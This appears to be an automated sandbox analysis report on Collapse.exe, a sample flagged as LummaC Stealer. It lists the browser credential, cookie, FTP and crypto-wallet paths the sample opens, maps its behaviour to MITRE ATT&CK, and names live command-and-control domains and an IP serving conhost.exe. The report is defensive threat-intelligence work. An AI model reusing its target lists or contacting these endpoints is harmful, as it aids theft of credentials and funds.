Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior

Source: Yara match	File source: 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Collapse.exe PID: 5924, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Collapse.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	41 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	43 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Collapse.exe	37%	ReversingLabs	Win32.Trojan.Generic
Collapse.exe	32%	Virustotal		Browse
Collapse.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://observerfry.lat/apin	0%	Avira URL Cloud	safe
https://observerfry.lat/pi	0%	Avira URL Cloud	safe
http://147.45.47.81:80/conhost.exel	0%	Avira URL Cloud	safe
https://observerfry.lat/C	0%	Avira URL Cloud	safe
https://observerfry.lat/apio	0%	Avira URL Cloud	safe
http://147.45.47.81/	0%	Avira URL Cloud	safe
http://crl.micro8	0%	Avira URL Cloud	safe
https://observerfry.lat:443/api7wner3.default-release/key4.dbPK	0%	Avira URL Cloud	safe
https://observerfry.lat/apicatinT	0%	Avira URL Cloud	safe
https://observerfry.lat/api~	0%	Avira URL Cloud	safe
https://observerfry.lat:443/apiocal	0%	Avira URL Cloud	safe
https://observerfry.lat:443/api	0%	Avira URL Cloud	safe
https://observerfry.lat/api4	0%	Avira URL Cloud	safe
https://observerfry.lat:443/apin.txtPK	0%	Avira URL Cloud	safe
https://observerfry.lat/apifM	0%	Avira URL Cloud	safe
https://observerfry.lat/ve	0%	Avira URL Cloud	safe
https://observerfry.lat/apiDesk	0%	Avira URL Cloud	safe
https://observerfry.lat/3	0%	Avira URL Cloud	safe
http://147.45.47.81/conhost.exe)	0%	Avira URL Cloud	safe
http://147.45.47.81/p	0%	Avira URL Cloud	safe
http://147.45.47.81/m	0%	Avira URL Cloud	safe
https://observerfry.lat:443/api%	0%	Avira URL Cloud	safe
https://observerfry.lat/apifmvh	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
observerfry.lat	172.67.199.72	true	false		high

Contacted URLs

Name	Malicious	Reputation
curverpluch.lat	false	high
slipperyloo.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high
bashfulacid.lat	false	high
observerfry.lat	false	high
wordyfindy.lat	false	high
https://observerfry.lat/api	false	high
shapestickyr.lat	false	high
talkynicer.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://observerfry.lat/apio	Collapse.exe, 00000006.00000003.1317503585.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1317483559.00000000036A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	Collapse.exe, 00000006.00000003.1341744379.000000000102B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://observerfry.lat/apin	Collapse.exe, 00000006.00000003.1404184317.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1405881150.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689342251.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447252619.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374993674.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.81/	Collapse.exe, 00000006.00000003.1688020796.0000000001007000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/pi	Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat:443/api7wner3.default-release/key4.dbPK	Collapse.exe, 00000006.00000002.1689170640.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688591837.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1375045759.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1404122051.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://observerfry.lat/api~	Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Collapse.exe, 00000006.00000003.1291840782.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291946100.00000000036EB000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1291761778.00000000036EE000.00000004.00000800.00020000.00000000.sdmp	false		high
